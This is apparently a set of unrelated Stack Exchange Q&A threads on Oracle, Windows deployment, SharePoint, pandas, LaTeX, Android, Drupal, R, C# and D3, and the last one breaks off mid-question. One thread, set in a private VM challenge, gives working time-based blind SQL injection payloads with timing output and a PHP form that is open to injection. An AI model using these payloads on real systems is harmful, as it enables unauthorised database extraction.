text:
Q: How to handle a NULL Stored Proc return arg in Oracle XML DB Native Web Services? I have a simple Oracle Package containing a simple Stored Procedure. The Stored Procedure declares 1 IN argument and several OUT arguments.
As long as the OUT arguments contain values I can successfully call the Stored Procedure using XML DB Native Web Services.
But if any of the OUT arguments contain NULL, I get a SOAP Fault containing an ORA-01405 Fetched column value is null.
I can see that there are options for handling NULL values when invoking SQL (using the <null_handling> element, but does anybody know how to do the same with PL/SQL ?
...
-- create a test table
CREATE TABLE xmldb_test
(
   key_value varchar2(32)
   ,value1 varchar2(32)
   ,value2 varchar2(32)
   ,value3 varchar2(32)
);

-- populate the table
insert into xmldb_test values ('key1', 'value1', 'value2', 'value3');
insert into xmldb_test values ('key2', 'value4', 'value5', null); -- this row has a null
commit;

-- create package
CREATE OR REPLACE package pack_xmldb_test
is
procedure getDataValue (ca_key in varchar2, ra_value1 out varchar2, ra_value2 out varchar2, ra_value3 out varchar2);
end;

-- create package body
create or replace package body pack_xmldb_test
is
procedure getDataValue (ca_key in varchar2, ra_value1 out varchar2, ra_value2 out varchar2, ra_value3 out varchar2)
IS
BEGIN
  select value1, value2, value3
  into ra_value1, ra_value2, ra_value3
  from xmldb_test
  where key_value = ca_key;
END;
end;

-- test the package in pl/sql
declare
key_value varchar2(32) := 'key1';
value1 varchar2(32) := 'dog';
value2 varchar2(32) := null;
value3 varchar2(32) := null;
begin
dbms_output.put_line('before call, key_value:' || key_value);
pack_xmldb_test.getDataValue(key_value, value1, value2, value3);
dbms_output.put_line('after call, value1:' || value1 || ' value2:' || value2 || ' value3:' || value3);
end;

The WSDL for the Stored Procedure is at ...
http://node:port/orawsv/schema_name/pack_xmldb_test/getDataValue?wsdl

Build a soapUI project based on the WSDL, then ...

Sending the following request :

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:get="http://xmlns.oracle.com/orawsv/CUSTOMER_FRAUD/PACK_XMLDB_TEST/GETDATAVALUE">
   <soapenv:Header/>
   <soapenv:Body>
      <get:GETDATAVALUEInput>
         <get:RA_VALUE3-VARCHAR2-OUT/>
         <get:RA_VALUE2-VARCHAR2-OUT/>
         <get:RA_VALUE1-VARCHAR2-OUT/>
         <get:CA_KEY-VARCHAR2-IN>key1</get:CA_KEY-VARCHAR2-IN>
      </get:GETDATAVALUEInput>
   </soapenv:Body>
</soapenv:Envelope>

... results in a successful call :

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap:Body>
      <GETDATAVALUEOutput xmlns="http://xmlns.oracle.com/orawsv/CUSTOMER_FRAUD/PACK_XMLDB_TEST/GETDATAVALUE">
         <RA_VALUE1>value1</RA_VALUE1>
         <RA_VALUE2>value2</RA_VALUE2>
         <RA_VALUE3>value3</RA_VALUE3>
      </GETDATAVALUEOutput>
   </soap:Body>
</soap:Envelope>

... but calling with this request :

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:get="http://xmlns.oracle.com/orawsv/CUSTOMER_FRAUD/PACK_XMLDB_TEST/GETDATAVALUE">
   <soapenv:Header/>
   <soapenv:Body>
      <get:GETDATAVALUEInput>
         <get:RA_VALUE3-VARCHAR2-OUT/>
         <get:RA_VALUE2-VARCHAR2-OUT/>
         <get:RA_VALUE1-VARCHAR2-OUT/>
         <get:CA_KEY-VARCHAR2-IN>key2</get:CA_KEY-VARCHAR2-IN>
      </get:GETDATAVALUEInput>
   </soapenv:Body>
</soapenv:Envelope>

... results in the following fault :

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
   <soap:Body>
      <soap:Fault>
         <faultcode>soap:Client</faultcode>
         <faultstring>Error processing input</faultstring>
         <detail>
            <OracleErrors xmlns="http://xmlns.oracle.com/orawsv/faults">
               <OracleError>
                  <ErrorNumber>ORA-19202</ErrorNumber>
                  <Message>Error occurred in XML processing</Message>
               </OracleError>
               <OracleError>
                  <ErrorNumber>ORA-01405</ErrorNumber>
                  <Message>fetched column value is NULL</Message>
               </OracleError>
            </OracleErrors>
         </detail>
      </soap:Fault>
   </soap:Body>
</soap:Envelope>

A: Sorry this isn't a more eloquent solution, but maybe try in your pl/sql:
select nvl(ra_value1, '""'), nvl(ra_value2,'""'), nvl(ra_value3,'""')
into ra_value1, ra_value2, ra_value3
from xmldb_test
where key_value = ca_key;

I just converted the nulls to double quotes "", but change to whatever makes sense for the XML.
I admit this is a hack and there should be a more eloquent solution.  Check the docs , honestly I'm not sure how to do this via the wsdl (if its even possible).


text:
Q: Windows 7 deployment thru WDS I am deploying new systems on my network and I built my reference computer by installing the OS the manufacturers (Dell and a custom built system from some local business) gave with all drivers, installed all the desired applications.  As for the settings part, I'm doing most of it thru GPOs.  I want to image my reference computer and deploy it with WDS.  i found several links on how to sysprep, but they're all doing it with some differences without explaining them.
My questions :

*

*How do I manage (into sysprep) the domain join/computer naming part since (from what I understand) WDS manages that?

*How do I know/determine what I need to setup into my sysprep.xml?

*Can you sysprep a first time, try and if it fails, do some modifications and try again? I am thinking of doing a basis sysprep, checking what info can be automated and correct that in the answer file.

*What do I miss if skipping the "audit" mode?  I don't plan on re-doing the reference computer...

*I read that when sysprepping, it resets settings from the reference computer like the computer name, activation/key and such...  what setting is sysprep resetting by default that I should be aware of?

I must admit I am quite lost about Win7, sysprep, RIS, MDI toolkit, WDS..  I understand the way of doing with XP, but it changed so much with Windows 7!
The links I am reading are :
http://far2paranoid.wordpress.com/2007/12/05/prep-for-sysprep/
http://blog.brianleejackson.com/sysprep-a-windows-7-machine-%E2%80%93-start-to-finish-v2
http://www.ehow.com/print/how_5392616_sysprep-machine-start-finish-v2.html
Thank you VERY much for any answers, they are much appreciated.

A: WDS is a great way of imaging systems. However it's only good for imaging the system. If you're using it for deploying a single large image then you'll need to create a few things like your Unattend.xml and catalog files. These are pretty easy to make using Windows Automated Installation Kit. You'll need that along with it's supplement for SP1. (You'll have to extract the file from the supplement iso to \Program Files\Windows AIK\Tools\PETools.) When you have it installed look for Windows System Image Manager under it's start menu group. This will let you generate the files needed for sysprep. Sysprep is basicly making the image hardware agnostic and resetting the windows activation arming. You can only sysprep an image 3 times, so it's important to keep a clean & reference image before you sysprep for deployment. When you're creating your image your'll need to do a few things. The WSIM will give you most the options you need like domain joining, user settings, etc. for the unattend.xml. You'll need to explore this and figure out what you need. The Windows 7 Resource Kit has everything outlined. I believe Microsoft has that chapter for free.

*

*Install a fresh copy of windows. (PROTIP: Use a desktop, never use
a laptop) Don't touch anything and create an image of it. I like to
boot into WINPE and use GIMAGEX. and reboot the computer after
the capture. This will be your clean image. This part is optional
but recommended.

*Now let's engage audit mode! Head over to the sysprep folder
(Windows\System32\Sysprep) and launch sysprep.exe. Turn on Audit
mode and reboot. Now install all your updates and applications on
the system. Take care with apps like Office 2010 and most
enterprise anti-malware clients as most don't like syspreping
You'll want to use this because you'll want things to behave
after syspreping.

*STOP EVERYTHING! You have all the stuff you want/need on the system. Open up sysprep.exe select audit mode and check the box for
generalize. This will make it hardware agnostic. Now capture an
image of the system. This will be your reference image. If you mess
up with your unattend.xml for sysprep or need to make changes to
your image this is what you'll use.

*Now sysprep this bad boy! You'll need to copy over your unattend.xml
file to the computer. I like to stick it in the sysprep folder but
you can stick it where ever you like. You'll need to use the proper
syntax for launching it e.g.
C:\Windows\System32\Sysprep\Sysprep.exe /generalize /oobe
/shutdown and capture this image.

Protip: WIM files have Single Instance Storage (SIS). So you can capture many images in one image. Using GIMAGEX you an easily append your Clean, Reference, and sysprep images into one file. Make sure you click append though. If you click create you'll loose everything in that file!
However if you wanted to make things easier on your self grab MDT and setup everything in there. MDT will make all the files you need and setup tasks for deploying systems.
You'll need MDT (Microsoft Deployment Toolkit.) Install this on your WDS server along with Windows Automated Installation Kit & it's supplement for SP1. You'll have to extract the file from the supplement iso to \Program Files\Windows AIK\Tools\PETools. This will give you WINPE 3.1. Once you have done that you can then install MDT. MDT will walk you though the process of creating a new deployment share. Once that is finished import your OS by right clicking on the OS folder and selecting Import Operating System. You'll notice there is an option for importing them from your WDS server. This will import links to the images on WDS. You'll need this for multicasting. If you're not multicasting then the only thing WDS is going to useful for is PXE. You can also augment it with WDSLINUX (PXELINUX) to boot cool things like Memtest and UBCD. Once your OS is imported you'll need to create a task sequence. So right click on the task sequence. This will walk you though everything you need. You can capture images, sysprep, deploy, replace, etc. You can also combine this method with the one above to create a hybrid image. The blogs you're reading have tons of great information for this kind of deployment too. If you need more info on this just let me know and I'll add it.

A: To answer your question (several years late to the party) about running sysprep multiple times: You can only run sysprep on a machine at most 3 times. After your 3rd sysprep, it will cease working, so be careful how many times you tweak your image. An easy way around this is to use a VM as the basis for your image, since you can just snapshot and roll back to the snapshot.

A: Go here for everything you need to know:
http://www.deploymentcd.com/
This second Deployment CD has the following detailed Step-by-step Guides and Video Tutorials:
MDT 2010 Lite Touch Deployments (just the free tools)

*

*Installing the server for MDT 2010 Lite Touch

*Creating a Windows 7 reference image using Lite Touch

*Deploying a Windows 7 image using Lite Touch

*Dynamic Settings, creating and using the deployment database

MDT 2010 Zero Touch Deployments (deployment with ConfigMgr 2007 SP2 R2)

*

*Installing the server for MDT 2010 Zero Touch and ConfigMgr 2007 SP2

*Creating a Windows 7 reference image using ConfigMgr 2007 SP2

*Deploying a Windows 7 image using ConfigMgr 2007 SP2

*Dynamic Settings, creating and using the deployment database

Additional Presentations

*

*New features in MDT 2010

*Upgrading MDT 2008 to MDT 2010

*Migrating Windows XP to Windows 7

redpajama_set_name: RedPajamaStackExchange


text:
Q: Web service calls return HTTP 500 Internal Server Error on my SharePoint 2013 site I have a SharePoint site that was running without any problem. Few days ago the search stopped working with an error in the crawl log

The crawler could not communicate with the server. Check that the
  server is available and that the firewall access is configured
  correctly

From the ULS log I was able to see that the crawler is trying to call a web service _vti_bin/sitedata.asmx, but it is failing with error HTTP 500 Internal Server Error. I believe because of this failure the crawl is not working in the farm.
When I tried to call other built-in webservices in SP2013 (such as lists.asmx?WSDL), I noticed that all the ASMX services have the same problem.
Can anybody please help me to figure out what is going wrong in SharePoint? I tried to see the ULS and event viewer; nothing logged there.
Is there any way I can "reinstall" the ASMX web services in SharePoint?
UPDATE:
The web services are not working on the site collection root site. For any subsite the web services works properly. I am still confused.
Thank you

A: I have found the issue. It was a mistake in the web.config located at C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\15\ISAPI.
After fixing the issue the web services started working for the site collection root site.

A: I added this in the web.config in the ISAPI folder(C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\14\ISAPI) and my search crawl stopped crawling.
<system.webServer>
  <security>
     <authorization>
        <Allow users= "*" />
           <Deny users= "?" />
     </authorization>
  </security>
  </system.webServer>

I added this to stop anonymous access to my external facing site. Now I removed this from web.config and search is working fine.


text:
Q: Python Vlookup to return one value only - similar to excel I'm trying to replicate an Excel Vlookup in Python, using Flask.
I've an excel sheet, set out like this: (Item is column A, Price is column B).
Item:                     Price:
Keyboard                  £10
Mouse                     £5
Mousemat                  £5
Beer                      £4

Now in Excel, if I had want to know the Price of Mouse, and that was typed in on cell C1, I'd do:
=VLOOKUP(C1,A2:B5,2,FALSE)

That'd return me £5. This is exactly what I want to do, but in Python.
I've read some tutorials online, that points me in the direction of Pandas and xlrd, but this appears to be merging two columns together. This isn't what I want. I want it to only display the result, as i've done in my excel example above
This is because I want to display this result in a Jinja template.
FYI, the value "Mouse" will be input by a user, and the list will be massive. Hence my involvement of an Excel spreadsheet.

A: Answered my own question using pandas.
For those that may stumble across anything like this in the future, my solution was this:
import pandas
df = pd.read_excel('test.xlsx', sheet_name='Sheet1')
        price = df[df['Price'] == Mousemat]['Item'].sum()

So this is how you'd do a Vlookup in Python, without using merge like every other example I found.

A: Thanks for the help!
However, there is a tiny mistake in your code, it should be:
import pandas as pd
df = pd.read_excel('test.xlsx', sheet_name='Sheet1')
price = df[df['Item:'] == 'Mousemat']['Price:'].sum()
print(price)

So that it will return the price of Mousemat.


text:
Q: python type() without ouput in pycharm Python: 3.10.4
Pycharm: 2022.1 CE
I have this simple code with Python shell command:
a = 1
type(a)
<class 'int'> <-- the result

But when I execute this code with Pycharm, I receive this output:
Process finished with exit code 0

Why I don't have the output of "type()"?

A: just wrap type(a) with print function,
print(type(a))


text:
Q: 'Unknown option' errors in custom package I am playing around a little with creating a custom package for theorem environments and related functionality. Consider the following MWE:
\RequirePackage{filecontents}
\begin{filecontents}{test.sty}
    \NeedsTeXFormat{LaTeX2e}
    \ProvidesPackage{test}

    %Required packages
    \RequirePackage{xkeyval} % For key-value syntax, \DeclareOptionX
    \RequirePackage{amsthm} % For theorem environments

    %Initialize some variables
    \newcommand{\theoremlevel}{}
    \newcommand{\@swapnumbersoption}{}

    %Default english theorem names
    \newcommand{\theoremname}{Theorem}

    %Declaring package options
    \DeclareOption{babel}{ %Babel Option to adjust theorem names if babel is used
        \addto\captionsenglish{
            \renewcommand{\theoremname}{Theorem}
        }
        \addto\captionsngerman{
            \renewcommand{\theoremname}{Satz}
        }
    }
    \DeclareOption{swapnumbers}{\renewcommand{\@swapnumbersoption}{\swapnumbers}} %Option to enable number swaps i.e. '1.1 Definition' rather than 'Definition 1.1'
    \ProcessOptions\relax

    \DeclareOptionX{theoremlevel}{\renewcommand{\theoremlevel}{#1}} %Key value option to specify the level theorem environments are numbered within
    \ExecuteOptionsX{theoremlevel=section}
    \ProcessOptionsX\relax

    %Creating theorem environments
    \@swapnumbersoption %Swaps numbers if option 'swapnumbers' is enabled, does nothing otherwise
    \theoremstyle{definition}
    \newtheorem{theorem}{\protect\theoremname}[\theoremlevel]
\end{filecontents}

\documentclass{article}

\usepackage[ngerman]{babel}

\usepackage[swapnumbers,theoremlevel=subsection,babel]{test}

\begin{document}
    \begin{theorem}
        Inhalt...
    \end{theorem}
\end{document}

The output is:

So indeed, all three options do what they should: The numbers are swapped, the captions are german and the theorem is numbered within subsubsection. However I get the following errors:
Unknown option `theoremlevel=subsection' for package `test'. \ProcessOptions\relax
Unknown option `swapnumbers' for package `test'. \ProcessOptionsX\relax
Unknown option `babel' for package `test'. \ProcessOptionsX\relax
Writing text ` ' before \end{filecontents} as last line of test.sty

So clearly, once again I am doing something stupid. But what?

A: You could define a default option for the standard option processor to let unknown options pass through but it is simpler to just use the X form for all of them if you use it at all
\RequirePackage{filecontents}
\begin{filecontents}{test.sty}
    \NeedsTeXFormat{LaTeX2e}
    \ProvidesPackage{test}

    %Required packages
    \RequirePackage{xkeyval} % For key-value syntax, \DeclareOptionX
    \RequirePackage{amsthm} % For theorem environments

    %Initialize some variables
    \newcommand{\theoremlevel}{}
    \newcommand{\@swapnumbersoption}{}

    %Default english theorem names
    \newcommand{\theoremname}{Theorem}

    %Declaring package options
    \DeclareOptionX{babel}{%missing % %Babel Option to adjust theorem names if babel is used
        \addto\captionsenglish{%missing %
            \renewcommand{\theoremname}{Theorem}%missing %
        }%missing %
        \addto\captionsngerman{%missing %
            \renewcommand{\theoremname}{Satz}%missing %
        }%missing %
    }
    \DeclareOptionX{swapnumbers}{\renewcommand{\@swapnumbersoption}{\swapnumbers}} %Option to enable number swaps i.e. '1.1 Definition' rather than 'Definition 1.1'
    \DeclareOptionX{theoremlevel}{\renewcommand{\theoremlevel}{#1}} %Key value option to specify the level theorem environments are numbered within
    \ExecuteOptionsX{theoremlevel=section}

% you only want the X form    \ProcessOptions\relax
    \ProcessOptionsX\relax

    %Creating theorem environments
    \@swapnumbersoption %Swaps numbers if option 'swapnumbers' is enabled, does nothing otherwise
    \theoremstyle{definition}
    \newtheorem{theorem}{\protect\theoremname}[\theoremlevel]
\end{filecontents}

\documentclass{article}

\usepackage[ngerman]{babel}

\usepackage[swapnumbers,theoremlevel=subsection,babel]{test}

\begin{document}
    \begin{theorem}
        Inhalt...
    \end{theorem}
\end{document}


text:
Q: Finding sql-query for time-based blind sqlinjection I have simple web application that allows to post a message to a MySQL database.
My challenge is to get all the information about that Database.
Unfortunately there's no output so I have to do a time-based blind injection.
This payload works and the response takes 5 seconds to reach the client.
' RLIKE SLEEP(5) AND '1'='1

I have to somehow replace the '1'='1 so I can check for table names or users.
Any idea??
Following is the code with the vulnerable query.
<?php
if (isset($_POST['feedback'])) {
    $id = $_POST['feedback'];
    $query = "INSERT INTO `hackdb`.`feedback` (`id` ,`feedback`, `feedback_read`, `created` ,`receiver`) VALUES (NULL,'".$_POST['feedback']."', '0', CURRENT_TIMESTAMP, '17')";
    if ($result = $mysqli->query($query)) {
        //echo "Done";
    } else {
        //echo $mysqli->error;
    }
    echo "Thank you for your feedback! We'll contact you later.";
} else {
    echo "";
}
?>

(Disclaimer: This is a challenge and I'm working on a private server inside a VM. Nothing unethical is going on here)

A: Looking into your code only the field feedback is vulnerable to timebased blind SQL injection vectors.
Create database/create table
CREATE DATABASE IF NOT EXISTS hackdb;

CREATE TABLE IF NOT EXISTS feedback (
  feedback VARCHAR(255)
);

You can inject using (SELECT ...) into feedback column because this is valid SQL.
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT 1)
)

Result
1 row(s) affected

Execution Time : 0.013 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

Test the timebased blind SQL injection vector.
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT SLEEP(5))
)

Result
1 row(s) affected

Execution Time : 5.717 sec
Transfer Time  : 0 sec
Total Time     : 5.718 sec

And we are good to go.
Let's find out the database version.
We can use MySQL's VERSION() function for that
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.1%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)

Result
1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.014 sec

No bingo
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
     WHEN VERSION() LIKE '5.7%'
     THEN SLEEP(5)
    ELSE 0
   END
  FROM
  DUAL
 )
)

Result
1 row(s) affected

Execution Time : 5.733 sec
Transfer Time  : 0 sec
Total Time     : 5.734 sec

Bingo.
Now we are going to find the database in use.
We can use MySQL's DATABASE() function for that.
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 's%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)

Result
1 row(s) affected

Execution Time : 0.014 sec
Transfer Time  : 0 sec
Total Time     : 0.015 sec

No bingo
Query
INSERT INTO
  hackdb.feedback
(feedback)
VALUES (
 (SELECT
   CASE
    WHEN (SELECT 1 FROM DUAL WHERE DATABASE() LIKE 'h%')
    THEN SLEEP(5)
    ELSE 0
   END
  FROM
 DUAL
 )
)

Result
1 row(s) affected

Execution Time : 5.715 sec
Transfer Time  : 0 sec
Total Time     : 5.716 sec

Bingo
Now you can add a second char into the LIKE part and so on.
I have given you some basic timebased blind SQL injection vectors.
It's up to you to find the tables in the database
I don't want to spoil your complete challenge.

A: table and insert for demonstrating possible payloads
CREATE TABLE foo_test
(id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, blah VARCHAR(100)
) ;

INSERT INTO foo_test (id,blah) VALUES (NULL,'payload') ;

Some demonstration replacements for payload
invalid table/view name - gets quick response
payload=  1' AND (SELECT 1 FROM feedback WHERE 0=1) AND SLEEP(5) AND '1
Execution Time : 0 sec
Error Code: 1146
Table 'test.feedback' doesn't exist
good table name - 5+ seconds
payload=  1' AND (SELECT 1 FROM foo WHERE 0=1) AND SLEEP(5) AND '1
Execution Time : 5.198 sec
1 row(s) affected
bad column name - quick response
payload=  1' AND (SELECT bar FROM foo WHERE 0=1) AND SLEEP(5) AND '1
Execution Time : 0 sec
Error Code: 1054
Unknown column 'bar' in 'field list'


text:
Q: Are there any viable alternatives to "classic" cookie authentication? Is there any way (apart from HTTP authentication, which I gather is inherently insecure over the Internet?) for a "real life" website to handle logins and authentication rather than the traditional way, using session cookies?

A: HTTP digest authentication (which is quite a different beast from HTTP basic authentication) is quite secure over straight HTTP, and not at all difficult to implement on the server. Nothing is sent over the wire that could reveal what the password is, just information that allows the client to demonstrate to the server that they have the correct password.
If you want a decent explanation of how to implement HTTP digest authentication in your application, Paul James has an excellent article on it.
The only real problem with HTTP authentication is in the browsers themselves: the UI is terrible, but that can be overcome with some Javascript.
Addendum: This answer is almost a decade old. These days, you should really be using HTTPS regardless of any other considerations.

A: HTTP basic authentication is perfectly safe when used with a SSL (https://) website since all HTTP traffic including the credentials will be encrypted.  One subjective drawback though is when using this method your users will need to interact with their browser's authentication popup in order to log in to your site.

A: To be clear, the only REAL way to do this is through HTTPS.
But, since I assume this is not an option, and I also assume you are looking for a "fully managed login" system, I continue:
Other than HTTPS it is possible to use JavaScript to do secure hashing of passwords on the client side, to prevent revealing plain text passwords over-the-wire, but this is only a half-solution.
The problems with this approach are:

*

*A replay attack is still a viable option.

*Only users with JavaScript enabled would be able to auth in this way.

Another approach is a more complicated challenge / response mechanism:

*

*Send a "Challenge" along with the login page.

*Calculate the hash of the Password + Challenge client side.

*Submit the login.

*Calculate the hash of the Password + Challenge (which MUST NOT be trusted in the page request) on the server side, and compare.

And the problems with that:

*

*Only users with JavaScript enabled would be able to auth in this way.

*The PLAINTEXT password must be stored on the server to validate the challenge response, and must be encrypted on disk or otherwise protected.

Now, to be fair, problem #2 is not as big of a danger as it sounds.  In fact when you instead use HASH authentication, the hash itself is raised to the level of "key".
At this point it is fairly secure to use a cookie to store a randomly generated login ReferrenceID, similar to their session ID, but the server may want to encrypt using the referring IP as part of the IV or KEY to prevent other users from Hijacking the ReferrenceID.
Anyways, I hope that provides a little bit of direction in the way of your design.

A: HTTP authentication is not insecure when using HTTPs.

A: Firstly, HTTP Auth is secure over SSL other than the fact that you can't implement a true "Logout" functionality. User need to close their browser, which is pretty bad.
Secondly, It you need to use HTTPS in all cases to make it secure, after that you got Basic Auth similar stuff such as "Digest" and "NTLM Auth".

A: When you're using https, you can also install a certificate in your client's browser and verify that. myopenid offers this for their OpenID accounts. I have one and it works really well (from the client-side point of view).

A: Using SSL for encryption in combination with HttpOnly Cookies to help prevent XSS is your best bet for using cookies.  I'm not going to say it is bullet-proof, though.


text:
Q: android select string by date month and day in string.xml i have added some string like this
<string name="m8d1">text sample</string>
<string name="m8d2">text sample</string>
<string name="m8d3">text sample</string>

and i have widget i want to show string by date month and day widget code
public class Widget extends AppWidgetProvider {

    public void onUpdate(Context context, AppWidgetManager appWidgetManager,int[] appWidgetIds) {
        Calendar calendar = Calendar.getInstance();
        int month = calendar.get(Calendar.MONTH);
        int day = calendar.get(Calendar.DAY_OF_MONTH);

        String txt = context.getString(R.string.m"+month+"d"+day);

        RemoteViews remoteViews = new RemoteViews(context.getPackageName(), R.layout.widget);
        remoteViews.setTextViewText(R.id.widgettext,txt);
        appWidgetManager.updateAppWidget(appWidgetIds, remoteViews);
    }

A: You need to understand the meaning of R.string.m in depth.
You won't be able to do something like
String txt = context.getString(R.string.m"+month+"d"+day);

Explaining in detail-
The R file contains a static class string and string class contains a static integer member m. There is nothing like key value pair so you can not access that by string.
Edit
You can use this method to get the value using an string-
private String getStringResourceByName(Context context,String name) {
      int resId = context.getResources().getIdentifier(name, "string", context.getPackageName());
      return context.getString(resId);
    }

So now you will be able to have something like-
String txt = getStringResourceByName(context,"m"+month+"d"+day);

A: Hope this help you
String txt="m"+month+"d"+day;
txt=context.getResources().getString(context.getResources().getIdentifier(txt, "string", getPackageName()));

A: you have to use
String txt = context.getResource().getString(R.string.m)+month+"d"+day;


text:
Q: Different Drupal front page from different country I have a drupal site, and i want to redirecting visitors to a different page based on the country.
I have this code:
require_once "Net/GeoIP.php";
$geoip = Net_GeoIP::getInstance("Net/GeoIP.dat");
try {
    $geocode = $geoip->lookupCountryCode($_SERVER['REMOTE_ADDR']);
} catch (Exception $e) {
    $geocode = 'EN';
}
switch ($geocode) {
    case 'HU':
        header('Location: http://www.example.com/hu');
        break;
    case 'GB':
        header('Location: http://www.example.com/en');
        break;
    case 'AT':
        header('Location: http://www.example.com/at');
        break;
    case 'CY':
        header('Location: http://www.example.com/cy');
        break;
    case 'DE':
        header('Location: http://www.example.com/de');
        break;
    case 'NL':
        header('Location: http://www.example.com/nl');
        break;
    case 'CH':
        header('Location: http://www.example.com/ch');
        break;
    case 'ES':
        header('Location: http://www.example.com/es');
        break;
    case 'US':
        header('Location: http://www.example.com/us');
        break;
    default:
        header('Location: http://www.example.com/en');
}

This works well on plain php file. How can i this in drupal?
How can i redirect the visitors to the proper node?

A: You may want to use http://drupal.org/project/ip2locale
It supports GeoIP.

A: I don't understand neither why not using an existing solution but still: have you tried putting your snippet inside page.tpl.php? Just make sure the path to the required library is correct. You might wanna put Net/GeoIP.php inside your sites/all/libraries folder and thus change require_once "Net/GeoIP.php" to require_once "../../libraries/Net/GeoIP.php". This is assuming that your page.tpl.php is located inside sites/all/themes/yourtheme/


text:
Q: How to get count of repeated entries in columns within a given row, R I have the given data (smaller than actual set):

ID
color1
color2
color3
color4

101
red
red
blue
green

2
blue
blue
purple
N/A

400
yellow
yellow
red
red

I want a result of:

ID
red
blue
green
purple
yellow

101
2
1
1
0
0

2
0
2
0
1
0

400
2
0
0
0
0

I've tried to use the unique command for a given row, but have been unable to get these results.

A: is.na(df) <- df == 'N/A'
as.data.frame.matrix(table(cbind(df[1], unlist(df[-1]))))

    blue green purple red yellow
2      2     0      1   0      0
101    1     1      0   2      0
400    0     0      0   2      2

tidyverse:
library(tidyverse)
df %>%
   mutate(across(everything(), na_if, 'N/A')) %>%
   pivot_longer(-ID, values_drop_na = TRUE) %>%
   count(ID, value) %>%
   pivot_wider(names_from = 'value', values_from = 'n',values_fill = 0)

# A tibble: 3 x 6
     ID  blue purple green   red yellow
  <int> <int>  <int> <int> <int>  <int>
1     2     2      1     0     0      0
2   101     1      0     1     2      0
3   400     0      0     0     2      2


text:
Q: Modifier static is not valid for this item error in C# I am trying to implement Push notifications using Azure's Notifications Hub in Xamarin forms. Currently I am doing this for Android, using GCM and I follow this link. But in Step 5 of the tutorial in 'Adding push notifications to the droid project', I get the error that modifier static is not valid for this item. After this step, this is what my code looks like:
protected override void OnCreate (Bundle bundle)
    {
        base.OnCreate (bundle);

        // Create a new instance field for this activity.
        static MainActivity instance = null;
        // Set the current instance of MainActivity.
        instance = this;

        global::Xamarin.Forms.Forms.Init (this, bundle);
        Microsoft.WindowsAzure.MobileServices.CurrentPlatform.Init();
        LoadApplication (new App ());
        try
        {
            // Check to ensure everything's setup right
            GcmClient.CheckDevice(this);
            GcmClient.CheckManifest(this);

            // Register for push notifications
            System.Diagnostics.Debug.WriteLine("Registering...");
            GcmClient.Register(this, PushHandlerBroadcastReceiver.SENDER_IDS);
        }
        catch (Java.Net.MalformedURLException)
        {
            CreateAndShowDialog("There was an error creating the Mobile Service. Verify the URL", "Error");
        }
        catch (Exception e)
        {
            CreateAndShowDialog(e.Message, "Error");
        }
        private void CreateAndShowDialog(String message, String title)
    {
        AlertDialog.Builder builder = new AlertDialog.Builder(this);

        builder.SetMessage(message);
        builder.SetTitle(title);
        builder.Create().Show();
    }
    // Return the current activity instance.
    public static MainActivity CurrentActivity
    {
        get
        {
            return instance;
        }
    }
}

I am new to C# and Xamarin forms, and cannot figure out where I am going wrong.

A: You need to declare the static variable outside of the function.
private static MainActivity instance = null;
// Return the current activity instance.
public static MainActivity CurrentActivity
{
    get
    {
        return instance;
    }
}

And then simply instance = this; inside OnCreate.

A: The problem is you are trying to create a static variable inside of a method. If you take another look at the example in that link, you will notice that variable is outside of the method.


text:
Q: c# compare DateTime start and DateTime stop with List Like the title says:
I have a DateTime start and  a DateTime stop
Now i want to compare these with a List<DateTime> dates
I just wanto check if the list dates is between start and stop
if(dates.all(..... >= start && <= stop)) {
. do something
}

A: The pseudo-code in your question is not far from the working code you're looking for.
Using LINQ's All() method:
if (dates.All(date => date >= start && date <= stop)) {
    // Do something.
}

A: Sort the list.
Check if the first item in the list is >= start date and last item in the list <= end date

A: With linq: if(dates.All(d => d >= start && d <= stop))

A: Use the All extension method, and a lambda expression that does the comparison:
if (dates.All(d => d >= start && d <= stop)) { ... }

A: Incase you want to iterate just the dates in the bracket, you can use the following:
foreach (DateTime date in dates.Where(o => o >= start && o <= stop))
{
    //Do your thing.
}

A: You can work on it like
bool allTrue = LstDates.TrueForAll(delegate(DateTime dt) { return dt >= startDate && dt <= endDate; });


text:
Q: I have created a custom pagination in html, my prev and next button not working the js code for frontarrow is written but it displays only second record page
<!DOCTYPE html>

    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width,initial-scale=1.0"/>
    <title>
        Records
    </title>
    <link rel="stylesheet" href="StyleSheet2.css" />

        <container class="container " id="containerPager">
            <button class="button" id="buttonFrontArrow">>></button>
            <button class="button" id="buttonThreeDots">...</button>

            <button class="button" id="buttonBackArrow"><<</button>
            <button id="ShowingRecords"></button>
        </container>

I need the prev and next button to change my records on page, but not the webpage itself. I have created pagination that is custom, my page number links are working but not my prev  and next arrow links. I want js code that can help me change the records on my page.

A: You need to set the click event ArrowFront only once. Since it is inside a function, it is being set with different values every time the function is being called. Here is a revised version of the script


text:
Q: How to use observablehq D3 graph in React project? In react project, I would like to use a tangled tree graph like - tangled-tree-visualization-ii
How can I use it? Since D3 is open source library, is above example code is also open source to use?
I m beginner in D3. So far,
 1. Installed the D3 library with npm install d3 --save
 2. Created D3 basic bar chart to check d3 is working
Instead of bar chart wanted to use tangled-tree-visualization shared above. But it seems it uses generated minified runtime.js by observablehq.
BarChart.js
import React from 'react';
import * as d3 from 'd3';

